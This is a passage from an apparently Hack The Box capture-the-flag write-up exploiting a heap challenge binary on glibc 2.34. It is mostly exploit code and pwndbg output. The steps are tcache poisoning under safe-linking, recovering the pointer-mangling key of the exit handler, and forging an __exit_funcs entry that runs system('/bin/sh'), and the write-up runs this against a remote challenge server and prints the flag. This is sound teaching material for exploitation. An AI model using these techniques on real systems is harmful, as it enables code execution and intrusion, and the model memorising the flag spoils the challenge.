[+] Glibc base address: 0x7f83f9b54000
[*] Switching to interactive mode
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 977485
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007f83f9c4d5ce in __GI___libc_read (fd=0, buf=0x5569116230c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007f83f9c4d5ce in __GI___libc_read (fd=0, buf=0x7f83f9d40b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55691161f000 0x556911620000 r--p 1000 0 ./crsid
0x556911620000 0x556911621000 r-xp 1000 1000 ./crsid
0x556911621000 0x556911622000 r--p 1000 2000 ./crsid
0x556911622000 0x556911623000 r--p 1000 2000 ./crsid
0x556911623000 0x556911624000 rw-p 1000 3000 ./crsid
0x5569130e9000 0x55691310a000 rw-p 21000 0 [heap]
0x7f83f9b51000 0x7f83f9b54000 rw-p 3000 0 [anon_7f83f9b51]
0x7f83f9b54000 0x7f83f9b80000 r--p 2c000 0 ./glibc/libc.so.6
0x7f83f9b80000 0x7f83f9ce7000 r-xp 167000 2c000 ./glibc/libc.so.6
0x7f83f9ce7000 0x7f83f9d3c000 r--p 55000 193000 ./glibc/libc.so.6
0x7f83f9d3c000 0x7f83f9d3d000 ---p 1000 1e8000 ./glibc/libc.so.6
0x7f83f9d3d000 0x7f83f9d40000 r--p 3000 1e8000 ./glibc/libc.so.6
0x7f83f9d40000 0x7f83f9d43000 rw-p 3000 1eb000 ./glibc/libc.so.6
0x7f83f9d43000 0x7f83f9d52000 rw-p f000 0 [anon_7f83f9d43]
0x7f83f9d52000 0x7f83f9d53000 r--p 1000 0 ./glibc/ld-2.34.so
0x7f83f9d53000 0x7f83f9d77000 r-xp 24000 1000 ./glibc/ld-2.34.so
0x7f83f9d77000 0x7f83f9d81000 r--p a000 25000 ./glibc/ld-2.34.so
0x7f83f9d81000 0x7f83f9d83000 r--p 2000 2e000 ./glibc/ld-2.34.so
0x7f83f9d83000 0x7f83f9d85000 rw-p 2000 30000 ./glibc/ld-2.34.so
0x7ffe2b384000 0x7ffe2b3a5000 rw-p 21000 0 [stack]
0x7ffe2b3ea000 0x7ffe2b3ee000 r--p 4000 0 [vvar]
0x7ffe2b3ee000 0x7ffe2b3f0000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
Again, it is correct. Now, we have all the necessary addresses to continue with exploitation.
Tcache exploitation
The next thing we must achieve is Tcache poisoning. For that, let’s empty the Tcache:
for i in range(7):
create(p)
And we have te Tcache empty and these pointers in users
and crsid
:
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 984349
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '984349', '-x', '/tmp/pwnjz4wily7.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x555637f8e000
[+] Glibc base address: 0x7f5479945000
[*] Switching to interactive mode
A new username appeared!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 984349
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007f5479a3e5ce in __GI___libc_read (fd=0, buf=0x555636f9c0c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007f5479a3e5ce in __GI___libc_read (fd=0, buf=0x7f5479b31b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> bins
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/20gx &stderr
0x555636f9c040 <stderr>: 0x00007f8fbb275680 0x0000000000000000
0x555636f9c050: 0x0000000000000000 0x0000000000000000
0x555636f9c060: 0x0000555637f8e2f0 0x0000555637f8e340
0x555636f9c070: 0x0000555637f8e390 0x0000555637f8e3e0
0x555636f9c080: 0x0000555637f8e430 0x0000555637f8e480
0x555636f9c090: 0x0000555637f8e4d0 0x0000555637f8e2a0
0x555636f9c0a0: 0x0000000000000000 0x0000000000000000
0x555636f9c0b0: 0x0000000000000000 0x0000000000000000
0x555636f9c0c0: 0x0000555637f8e2a0 0x0000000000000000
0x555636f9c0d0: 0x0000000000000000 0x0000000000000000
Notice that index 7
points to the same chunk as crsid
. Hence, we can free it and modify the fd
pointer using index 12
(crsid
), which is a Write After Free primitive.
In other heap challenges, at this point we would enter the address of __malloc_hook
or __free_hook
in the fd
pointer, so that we can allocate a chunk in that address and add data to the hooks. Unfortunately, Glibc 2.34 doesn’t use hooks in order to prevent these kind of exploits.
Exit handlers
Therefore, we need to come up with another technique to achieve code execution. While doing some research on ways to exploit Glibc 2.34, I found this one from Aero CTF 2022. This write-up uses a technique to enter a malicious function in __exit_funcs
list, so that when calling exit
, the program executes the malicious function (for example system("/bin/sh")
). More information here.
This technique requires to leak the address of the legitimate exit function. This address is encrypted using XOR and bit rotations. The following lambda
functions (adapted from the previous write-up) are needed to decrypt the real address:
rol = lambda val, r_bits, max_bits: \
(val << r_bits % max_bits) & (2 ** max_bits - 1) | \
((val & (2 ** max_bits - 1)) >> (max_bits - (r_bits % max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
(val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
encrypt = lambda value, key: rol(value ^ key, 0x11, 64)
These are some relevant addresses:
pwndbg> x/gx &__exit_funcs
0x7f5479b31818 <__exit_funcs>: 0x00007f5479b33bc0
pwndbg> x/10gx 0x00007f5479b33bc0
0x7f5479b33bc0 <initial>: 0x0000000000000000 0x0000000000000001
0x7f5479b33bd0 <initial+16>: 0x0000000000000004 0xbf6103b40d295794
0x7f5479b33be0 <initial+32>: 0x0000000000000000 0x0000000000000000
0x7f5479b33bf0 <initial+48>: 0x0000000000000000 0x0000000000000000
0x7f5479b33c00 <initial+64>: 0x0000000000000000 0x0000000000000000
pwndbg> p initial
$1 = {
next = 0x0,
idx = 1,
fns = {{
flavor = 4,
func = {
at = 0xbf6103b40d295794,
on = {
fn = 0xbf6103b40d295794,
arg = 0x0
},
cxa = {
fn = 0xbf6103b40d295794,
arg = 0x0,
dso_handle = 0x0
}
}
}, {
flavor = 0,
func = {
at = 0x0,
on = {
fn = 0x0,
arg = 0x0
},
cxa = {
fn = 0x0,
arg = 0x0,
dso_handle = 0x0
}
}
} <repeats 31 times>}
}
We can get the offsets for these addresses:
$ python3 -q
>>> hex(0x7f5479b31818 - 0x7f5479945000)
'0x1ec818'
>>> hex(0x00007f5479b33bc0 - 0x7f5479945000)
'0x1eebc0'
And the exit handler that is legitimately called is _dl_fini
(encrypted as 0xbf6103b40d295794
), whose real address can be seen once it is called because it is not populated until the exit process:
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 1002383
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '1002383', '-x', '/tmp/pwnw5eak7gl.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x555c0fed2000
[+] Glibc base address: 0x7f3e4a692000
[*] Switching to interactive mode
A new username appeared!
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $ 6
[*] Got EOF while reading in interactive
$
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 1002383
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007f3e4a78b5ce in __GI___libc_read (fd=0, buf=0x555c0fa860c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
[Inferior 1 (process 1002383) exited normally]
pwndbg> p _dl_fini
$1 = {void (void)} 0x7f3e4a8a0350 <_dl_fini>
And this is the offset:
$ python3 -q
>>> hex(0x7f3e4a8a0350 - 0x7f3e4a692000)
'0x20e350'
Once we have these addresses, we need to leak the original exit function address (encrypted) in order to obtain the encryption key. This can be done with Tcache poisoning. Notice that the new fd
pointer must be obfuscated accordingly due to safe-linking:
__exit_funcs = glibc.address + 0x1ec818
exit_handler_addr = glibc.address + 0x1eebc0
_dl_fini = glibc.address + 0x20e350
log.info(f'__exit_funcs address: {hex(__exit_funcs)}')
log.info(f'Original exit handler address: {hex(exit_handler_addr)}')
log.info(f'_dl_fini address: {hex(_dl_fini)}')
delete(p, 1)
delete(p, 7)
edit(p, 12, p64(obfuscate(exit_handler_addr, heap_base_addr)))
create(p)
create(p)
edit(p, 7, b'A' * 24)
encrypted_function = u64(show(p, 7)[24:])
key = ror(encrypted_function, 0x11, 64) ^ _dl_fini
log.info(f'Encrypted function: {hex(encrypted_function)}')
log.info(f'Encryption key: {hex(key)}')
log.info(f'Sanity check: {hex(encrypt(_dl_fini, key))}')
For the leakage, we need to edit the initial
exit handler to overwrite null bytes and be able to leak the encrypted function address of _dl_fini
. As a sanity check, we can encrypt it again using the same encryption key:
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 1010243
[*] running in new terminal: ['/usr/bin/gdb', '-q', './crsid', '1010243', '-x', '/tmp/pwnh755srzo.gdb']
[+] Waiting for debugger: Done
[+] Heap base address: 0x55baf8a08000
[+] Glibc base address: 0x7fb3cbbdd000
[*] __exit_funcs address: 0x7fb3cbdc9818
[*] Original exit handler address: 0x7fb3cbdcbbc0
[*] _dl_fini address: 0x7fb3cbdeb350
[*] Encrypted function: 0xf1d7f8de6d77d8cd
[*] Encryption key: 0xec66875837b185eb
[*] Sanity check: 0xf1d7f8de6d77d8cd
[*] Switching to interactive mode
=========================
[1] Create username
[2] Delete username
[3] Edit username
[4] Show username
[5] Change your CRSid
[6] Exit
=========================
[#] $
Reading symbols from ./crsid...
(No debugging symbols found in ./crsid)
Attaching to program: ./crsid, process 1010243
Reading symbols from ./glibc/libc.so.6...
Reading symbols from ./glibc/ld-2.34.so...
0x00007fb3cbcd65ce in __GI___libc_read (fd=0, buf=0x55baf6eb40c0, nbytes=32) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
^C
Program received signal SIGINT, Interrupt.
0x00007fb3cbcd65ce in __GI___libc_read (fd=0, buf=0x7fb3cbdc9b03 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> x/6gx &initial
0x7fb3cbdcbbc0 <initial>: 0x4141414141414141 0x4141414141414141
0x7fb3cbdcbbd0 <initial+16>: 0x4141414141414141 0xf1d7f8de6d77d8cd
0x7fb3cbdcbbe0 <initial+32>: 0x0000000000000000 0x0000000000000000
So everything looks good. Now we need to craft a payload to fake an exit handler function (encrypting the function address accordingly). Notice that we can use system
as a function and "/bin/sh"
as the first argument:
payload = p64(0)
payload += p64(1)
payload += p64(4)
payload += p64(encrypt(glibc.sym.system, key))
payload += p64(next(glibc.search(b'/bin/sh')))
Also, this is the users
array:
pwndbg> x/20gx &stderr
0x556e3bbd5040 <stderr>: 0x00007fb3cbdca680 0x0000000000000000
0x556e3bbd5050: 0x0000000000000000 0x0000000000000000
0x556e3bbd5060: 0x000055baf8a082f0 0x000055baf8a082a0
0x556e3bbd5070: 0x000055baf8a08390 0x000055baf8a083e0
0x556e3bbd5080: 0x000055baf8a08430 0x000055baf8a08480
0x556e3bbd5090: 0x000055baf8a084d0 0x00007fb3cbdcbbc0
0x556e3bbd50a0: 0x0000000000000000 0x0000000000000000
0x556e3bbd50b0: 0x0000000000000000 0x0000000000000000
0x556e3bbd50c0: 0x000055baf8a082a0 0x0000000000000000
0x556e3bbd50d0: 0x0000000000000000 0x0000000000000000
Finally, we need to allocate the payload in a chunk (we know the exact address) and perform another Tcache poisoning attack to write this address the into __exit_funcs
list (index 1
and index 12
of the users
array point to the same chunk). To trigger the attack, we just need to exit the program:
payload_pointer = heap_base_addr + 0x2f0
delete(p, 2)
delete(p, 1)
edit(p, 12, p64(obfuscate(__exit_funcs - 8, heap_base_addr)))
create(p)
create(p)
edit(p, 2, p64(0) + p64(payload_pointer))
p.sendlineafter(b'[#] ', b'6')
p.interactive()
$ python3 solve.py
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './crsid': pid 1022768
[+] Heap base address: 0x55f7bb0f9000
[+] Glibc base address: 0x7fa8ff28a000
[*] __exit_funcs address: 0x7fa8ff476818
[*] Original exit handler address: 0x7fa8ff478bc0
[*] _dl_fini address: 0x7fa8ff498350
[*] Encrypted function: 0x30c6a2802fa23f4c
[*] Encryption key: 0x1fa667cbae099481
[*] Sanity check: 0x30c6a2802fa23f4c
[*] Switching to interactive mode
$ ls
crsid glibc solve.py
Flag
And it works locally. Let’s try remotely:
$ python3 solve.py 159.65.83.93:31667
[*] './crsid'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 159.65.83.93 on port 31667: Done
[+] Heap base address: 0x55b95c204000
[+] Glibc base address: 0x7fb89c8eb000
[*] __exit_funcs address: 0x7fb89cad7818
[*] Original exit handler address: 0x7fb89cad9bc0
[*] _dl_fini address: 0x7fb89caf9350
[*] Encrypted function: 0x8ce2b8ac78fe460f
[*] Encryption key: 0x2307b9c9c0f9af2f
[*] Sanity check: 0x8ce2b8ac78fe460f
[*] Switching to interactive mode
$ ls
crsid
flag.txt
glibc
$ cat flag.txt
HTB{L1bC-2.34,S4f3_l1nKinG_4nD_O0B-g0_brrr}
The full exploit script can be found in here: solve.py
.